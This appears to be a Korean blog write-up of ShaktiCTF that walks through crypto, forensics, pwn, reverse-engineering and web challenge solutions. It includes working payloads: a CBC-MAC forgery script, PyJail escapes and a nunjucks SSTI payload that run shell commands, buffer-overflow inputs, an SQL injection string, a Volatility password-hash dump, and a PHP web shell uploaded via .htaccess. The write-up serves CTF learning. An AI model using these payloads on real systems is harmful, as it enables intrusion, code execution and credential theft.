24시간동안 진행된, 인도의 여성 해킹팀에서 주최하는 ShaktiCTF에 참여하게 되었다. 상금 대상자는 여성으로만 이뤄진 팀이라, 얼떨결에 1인팀으로 참여하게 됐지만 24시간 동안 22문제 풀어서 740팀 중 16등을 하게 됐다.
참여 자체는 성별 무관하게 참가 할 수 있어서, 20등 안에 든 여성으로만 이뤄진 팀 대상으로는 상금 대상자로 연락이 와서 오늘 밤에 온라인으로 팀 주최 측과 면담을 하게 된다.

10등 팀까지는 100 점? 밖에만 차이가 안나서 한문제만 풀었으면 바로 수상권이었는데 포너블만 좀 더 잘했으면 백퍼 수상인데 너무 아쉬웠다...ㅠㅠㅠㅠㅠ
그래도 나름 13솔브 정도 밖에만 안되는 크립토도 풀고, 메모리 포렌식 툴인 volatility 로 포렌식도 풀어서 뿌듯하다 ㅎㅎ
Crypto
Eazy_peazy

위와 같은 코드를 확인할 수 있는데, 밑에와 같이 코드를 짜서 풀 수 있다.
import base64
encrypted = "ZFlSXGVaVGVXbFRjamFlIVAiZFBkZmEkY1BWUmtqampqampQWFQlJCNlYyYnWCVlYyYlbg=="
s = list(base64.b64decode(encrypted).decode('utf-8'))
print(s)
flag = ""
for i in range(0,len(s)):
flag += chr(ord(s[i])+15)
print(flag)
#shaktictf{crypt0_1s_sup3r_eazyyyyyy_gc432tr56g4tr54}
D0uble_cbc
이 문제는, 1) dreamhack에서 푼 Text-book CBC 처럼 IV가 encryption할때 마다 랜덤하게 생성되는게 아니라 고정된 값으로 정해져있을때 CBC의 특성을 이용해 IV를 구해내고, 2) CBC-MAC forgery를 통해 signature 변조를 하는, 크게 2가지 파트로 나눠진 문제 이다.
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad,unpad
from Crypto.Util.strxor import strxor
from secret import key,flag ,iv
from os import *
def encryptt(pt):
return (AES.new(key,AES.MODE_CBC,iv)).encrypt(pad(pt,16))
def decryptt(ct):
if len(ct)%16 == 0:
return (AES.new(key,AES.MODE_CBC,iv)).decrypt(ct)
elif len(ct)%16 != 0:
return (unpad((AES.new(key,AES.MODE_CBC,iv)).decrypt(ct) , 16))
def verify_ivv(iv,iv_detected):
if iv.hex() == iv_detected:
print("Yooo... you are going good, move forward with some more courage")
return True
else:
print("Don't lose hope buddy , you can get through this, try again ")
return False
def sign(iv,key,message):
try:
cbc = AES.new(key, AES.MODE_CBC,iv)
messageblocks = [message[i:i + 16] for i in range(0, len(message), 16)]
tag = cbc.encrypt(messageblocks[0])
for i in range(1,len(messageblocks)):
cbc1 = AES.new(key, AES.MODE_CBC,tag)
tag = cbc1.encrypt(messageblocks[i])
return tag.hex()
except:
print("\nNo padding done here !, try again ")
exit()
def main():
print("******************************Welcome to the john's CBC server************************")
print("You really wanna get into the system? \n then search for IV ")
print("Choose 1 option among four \n \t 1.Encrypt the plain text \n \t 2.Decrypt the ciphertext \n \t 3.feed IV \n \t 4.exit")
op = int(input())
if op == 1:
print("I will provide the encrypted text for you")
print("Input the plaintext in hex format\n")
pt = input()
ct = encryptt(bytes.fromhex(pt)).hex()
print(f"cipher text for provided" , ct);
if op == 2:
print("I will provide the reasonable plaintext for you")
print("Input the cipher text in bytes to decrypt")
ct = input()
pt = decryptt(bytes.fromhex(ct)).hex() #
print(f"decrypted text for provided" , pt);
if op == 3:
print("Provide reasonable IV to proceed further")
iv_detected = input()
verify_iv = verify_ivv(iv,iv_detected)
print(verify_iv)
if verify_iv:
print("Let me see whether you are worth enough to gain my gold coins.")
print("To prove yourself, give me two different hex-encoded messages that could sign to the same tag.")
print("Now press '0' to get your hex inputs signed and press 1 to submit two same messages") #415f68617070795f6362635f6d6f6465
iv_detected = bytes.fromhex(iv_detected)
x = input()
if x == '0':
print("Input hash encoded message:\n")
msg = bytes.fromhex(input())
x = sign(iv_detected,key,msg)
print("\n Tag for your message")
print(x)
if x == '1':
msg1 = bytes.fromhex(input("\nMessage #1: \n"))
msg2 = bytes.fromhex(input("\nMessage #2: \n"))
if(msg1 == msg2):
print("\nThis is not a correct way to do this, think again!!!")
exit()
if(msg1 != msg2 and sign(iv_detected,key,msg1)==sign(iv_detected,key,msg2)):
print(flag)
exit()
else:
print("\nOops! They don't match!...Better luck next time!")
exit()
if op==4:
exit()
if __name__ == '__main__':
main()
1. IV 구하기
IV를 구하기 위해서, 메뉴1을 선택해서 10101010101010101010101010101010 을 보내주고, encryption 된 결과값을 확인한다. 결과로 받은 1f0c0528ef37460ed8e7ddec4dce29b2dff5494ea6b311eb7f53959d27127222 은 두 블록인 1f0c0528ef37460ed8e7ddec4dce29b2 와 dff5494ea6b311eb7f53959d27127222 로 나뉜다. 메뉴2를 선택해서, 1f0c0528ef37460ed8e7ddec4dce29b21f0c0528ef37460ed8e7ddec4dce29b2dff5494ea6b311eb7f53959d27127222 을 보내주면, 101010101010101010101010101010104e437d598f572f41ab95aea330b15dc710101010101010101010101010101010 이라는 값이 나오는데,
IV는 10101010101010101010101010101010 (P1) XOR 4e437d598f572f41ab95aea330b15dc7 (P2) XOR 1f0c0528ef37460ed8e7ddec4dce29b2 (C1) 해서 구할 수 있다.
자세한 이유는 다음과 같다.
xor 연산은 결합법칙과 교환법칙이 성립하므로,
P_1 xor P_2 = (D(C_1) xor IV) xor (D(C_2) xor C_1) = (IV) xor (D(C_1) xor D(C_2) xor C_1)이라는 식을 얻을 수 있다. 이때 첫째 블록과 둘째 블록의 암호문이 같다면, 즉 C_1 = C_2라면 xor 연산의 특성에 따라 P_1 xor P_2 = IV xor C_1으로 정리된다.
그런데 우리는
임의의 평문을 암호화할 수 있고 (= 임의의 P로부터 C를 얻을 수 있고)
임의의 암호문을 복호화할 수 있다 (= 임의의 C로부터 P를 얻을 수 있다)
따라서 어떤 평문 P_1에 대한 암호화 결과 C_1을 얻은 후, C = {C_1, C_1}을 복호화하여 P = {P_1, P_2}를 얻는다면 IV = P_1 xor P_2 xor C_1으로 역산할 수 있다!
따라서 IV는 415f68617070795f6362635f6d6f6465 로 구할 수 있다.
IV를 정확히 입력했으면, 다음 단계로 넘어갈 수 있다.
2. CBC MAC Forgery
IV를 구했으면, CBC MAC Forgery로 평문은 다르지만 signature가 같은 경우를 구해내야 한다.
https://ce-automne.github.io/2019/07/20/CBC-MAC-Forgery-Conclusion/
CBC MAC Forgery Conclusion · Automne's Shadow
Crypto 与HMAC不同的是,CBC-MAC表示使用CBC模式计算消息认证码的一种方式,一般是将最后一组密文作为MAC返回。 参考https://github.com/ashutosh1206/Crypton/tree/master/Message-Authentication-Code/CBC-MAC-Forgery 如下图
ce-automne.github.io
링크를 참조하였다. 문제가 거의 똑같았으나, 해당 문제에서는 위 문제와 다르게 IV가 있었다. 따라서 위 페이로드를 사용하되 IV를 추가로 XOR 해줘서 보냈다.
from pwn import *
from Crypto.Util.strxor import strxor
context.log_level='debug'
s1 = "a"*16
s1hex = s1.encode("hex")
l = remote("13.232.45.235",31938)
l.recv()
l.sendline("3")
l.recv()
l.sendline("415f68617070795f6362635f6d6f6465")
l.recv()
l.sendline("0")
l.recv()
l.sendline(s1hex)
l.recvline()
l.recvline()
y = l.recvline().strip()
print(type(y))
i3 = strxor(strxor(s1,"415f68617070795f6362635f6d6f6465".decode("hex")),"5519ab6975a05390ad637e11560fcfcb".decode("hex"))
#IV "415f68617070795f6362635f6d6f6465" 를 추가로 XOR 해준 부분
print(i3)
s2 = s1+i3
s2hex = s2.encode("hex")
print(s1hex)
print(s2hex)
s1hex는 61616161616161616161616161616161 , s2hex는 616161616161616161616161616161617527a26964b14baeaf607c2f5a01cacf 인데,
메뉴3을 선택한 후 두 메세지를 보내줬다.

Forensics
Follow-up
pcapng 파일을 주는데,

패킷을 관찰하다가 IEND..로 끝나는 패킷이 있길래 우클릭해서 Follow TCP stream을 클릭하고 PNG 파일을 확인할 수 있었다. Save As..raw로 해서, PNG 확장자로 저장하면 PNG를 확인할 수 있었다.

Mission 1
그리고 구글링하다가 Volatility 2와 3 명령어 치트시트를 구할 수 있었는데,
2랑 3가 문법이 좀 달라서 좀 괜찮아보이는 자료였다.
https://blog.onfvp.com/post/volatility-cheatsheet/
volatility imageinfo -f 파일명
volatility -f 파일명 hivelist --profile=Win2008R2SP1x64_23418
python2 vol.py \-f 파일명 --profile=Win2008R2SP1x64_23418 hashdump sys-offset=0xfffff8a000024010 sam-offset=0xfffff8a000d6b010> hashes.txt


Misc
Level 0, Level 1, endgame
위 세문제는 모두 PyJail 문제고, Level 0와 1의 차이는 import를 못 쓴다는 점, endgame 도 마찬가지였다. 비교적 단순한 문제여서, PyJail 페이로드를 구글링하다가 풀렸다.
Level 0에 쓰인 페이로드는 다음과 같다.

__import__('os').system("cat flag.txt")
Level 1의 페이로드는 다음과 같다.

"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__["system"]("cat flag.txt")
"import"를 못쓰다 보니, subclasses를 이용하여 os.wrap_close의 인덱스를 찾아 system 함수를 실행시키는 방법이다.
endgame의 경우,

https://ctftime.org/writeup/25814 을 참고해서 다음과 같은 페이로드를 사용했다.
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__ == '_wrap_close' ][0]['sy'+'stem']('cat /flag.txt')
Cipher puzzle
모스 부호가 주어졌는데, decode 해보면 urigzwszh{5r4g7wS0vQ0P53} 이라는 문자열이 주어진다. 단순치환 암호인줄은 알았고 아핀암호인거 같긴 했는데, 이상하게 헤매다가 https://www.dcode.fr/ 에서 brute forcing을 하고 flag format에 맞는 정답을 찾을 수 있었다.

Winter Reindeer
빈칸으로 가득한 txt 파일이 주어진 것을 보고, stegsnow를 쓰는게 분명했는데, passphrase는 문제에서 주어진 인물의 명칭을 입력해주면 풀렸다.
Greeky Fix
key = chr(0x04) + chr(0x01) + chr(0x12) + chr(0x0f) + chr(0x1b) + chr(0x04) + chr(0x14) + chr(0x1d) + chr(0x15) + chr(0x1f) + chr(0x3a) + chr(0x32) + chr(0x05) + chr(0x36) + chr(0x10) + chr(0x54) + chr(0x3d) + chr(0x3f) + chr(0x44) + chr(0x0a) + chr(0x44) + chr(0x45) + chr(0x4e) + chr(0x10)
def secret_xor(secret, key):
new_secret = (secret * (int(len(key)/len(secret))+1))[:len(key)]
flag_list = [chr((ord(a) ^ ord(b))) for a,b in zip(new_secret, key)]
return "".join(flag_list)
secret="wisdom"
flag = secret_xor(secret,key)
if flag == "":
print("Oh ho!! U didn't get it right :(")
else:
print(flag)
Pwn
Play to win

주어진 바이너리를 IDA로 확인하면 위와 같은데, NX만 enabled 된 문제였다.
IDA로 확인해봤을때 s의 주소인 0x16을 입력해주고 s의 주소에 reallywin이라는 함수의 주소를 return address로 써주면 됐다 (reallywin이라는 함수는 cat flag.txt를 해주는 함수)

from pwn import *
r = remote("주소", 포트)
r.recvuntil('word:')
r.sendline(b'a'*(0x16+8)+b'\x83\x13\x40\x00')
r.recvuntil('[y/n]:')
r.sendline('n')
r.interactive()

Guess_the_key

주어진 바이너리를 IDA로 확인해보면 위와 같은데, 숫자를 HEX 포맷으로 바꾸면 변수 값을 버퍼 오버플로우로 덮는 문제임을 확인할 수 있다. 리틀엔디언 유의해서 페이로드 짜면 된다.
from pwn import *
r = process("주소", 포트)
r.recvuntil('key: ')
r.send(b'a'*60+b'\xBE\xBA\xFE\xCA')
r.interactive()
Rev
Clicky
.NET 프로그램을 사용하면 되는 문제였다.


오른쪽 코드 의하면, 5번, 7번, 3번, 1번 순으로 버튼을 클릭하면 "Yes! That's the right sequence!" 라고 뜬다.
왼쪽에 해당 버튼들에 해당하는 Text는 429 529 216 88 이다.

실제로 위와 같은 코드를 확인해보면 600개의 버튼을 생성하는 함수에서 위 버튼들에 해당하는 버튼들은 다른 이벤트를 실행시키는 버튼임을 확인 가능하다.
따라서 플래그는 문제에 주어진 대로 shaktictf{429_529_216_88} 이었다.
Y2 for win
Z3 솔버를 이용해서 풀면 되는 문제였다.

from z3 import *
a1 = [BitVec('a%i'%i,8) for i in range(0,22)]
s = Solver()
s.add(a1[0]>32)
s.add(a1[0]<126)
s.add(a1[1]>32)
s.add(a1[1]<126)
s.add(a1[13] * a1[9] - a1[23] == 10401)
s.add(a1[0] + a1[5] * a1[2] == 9147)
s.add(a1[2] * a1[8] - a1[13] == 10340)
s.add(a1[7] + a1[6] - a1[23] == 138)
s.add(a1[18] + a1[15] - a1[14] == 70)
s.add( a1[19] - a1[12] * a1[24] == -5808)
s.add( a1[21] * a1[16] - a1[10] == 4726)
s.add( a1[4] * a1[17] - a1[22] == 13130)
s.add( a1[3] * a1[1] - a1[11] == 2395)
s.add( a1[20] + a1[3] * a1[11] == 5214)
s.add( a1[8] * a1[5] - a1[20] == 10332)
s.add( a1[0] - a1[16] - a1[16] == -68)
s.add( a1[22] + a1[13] - a1[6] == 103)
s.add( a1[18] - a1[12] - a1[21] == -54)
s.add( a1[10] * a1[15] - a1[9] == 13828)
s.add( a1[19] + a1[24] - a1[14] == 129)
s.add( a1[4] * a1[17] - a1[7] == 13140)
s.add( a1[8] + a1[14] - a1[1] == 154)
s.add( a1[23] + a1[17] - a1[9] == 69)
s.add( a1[19] * a1[10] + a1[3] == 12901)
s.add( a1[5] + a1[21] * a1[12] == 2696)
s.add( a1[6] - a1[1] + a1[24] == 167)
s.add( a1[0] + a1[4] * a1[15] == 13577)
s.add( a1[7] - a1[18] - a1[20] == -81)
s.add( a1[22] + a1[11] * a1[2] == 9975)
s.add( a1[9] + a1[19] * a1[8] == 11975)
s.add( a1[10] - a1[23] + a1[0] == 192)
s.add( a1[14] + a1[21] * a1[3] == 2594)
s.add( a1[16] + a1[12] + a1[1] == 197)
s.add( a1[6] + a1[20] - a1[13] == 110)
s.add( a1[5] - a1[21] + a1[16] == 139)
s.check()
m = s.model()
print("flag:",end='')
for j in range (0,22):
print(chr(int(str(m[a1[j]]))),end='')
Love calculator
눈으로도 풀 수 있었다.

Web
솔직히 웹이 너무 쉬웠다. 1트만에 성공한 것도 많았다.
Be Alert
xss 한번 해주면 바로 풀렸다.
L0g1n F4il3d
SQL Injection문제인거 같아서 ' or 1=1-- 한번 했더니 풀렸다.

Hey h3ck3r!
SSTI 문제였는데, SSTI를 통해서 에러를 발생시키다 보면 해당 사이트가 어떤 모듈을 사용하고 있는지 확인할 수 있게 된다.

nunjucks라는 모듈이 SSTI에 취약했는데, https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection 에서 관련 페이로드를 찾아서 풀었다.
{{ range.constructor("return global.process.mainModule.require('child_process').execSync('cat flag')")() }}

S4F3 UPL04D
파일 업로드 문제다. Blacklist 필터를 사용했고, .htaccess 파일 확장자에 대한 필터가 없다.

AddType application/x-httpd-php .aaa
위와 같이 작성해서 업로드 해주고,
다음와 같은 flag.aaa 파일을 업로드 해준다.
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
phpinfo()
?>
그리고 해당 파일을 업로드한 경로인 /uploads/파일명.aaa 에 들어가서 PHP shell을 실행시키면 된다.

ping-pong

'CTF > CTF 문제풀이' 카테고리의 다른 글
Incognito CTF 2022 writeup (0) | 2023.04.01 |
---|---|
Power of XX 2022 준우승! (1) | 2022.11.29 |
[CTF][AeroCTF] Localization is hard (2) | 2021.03.01 |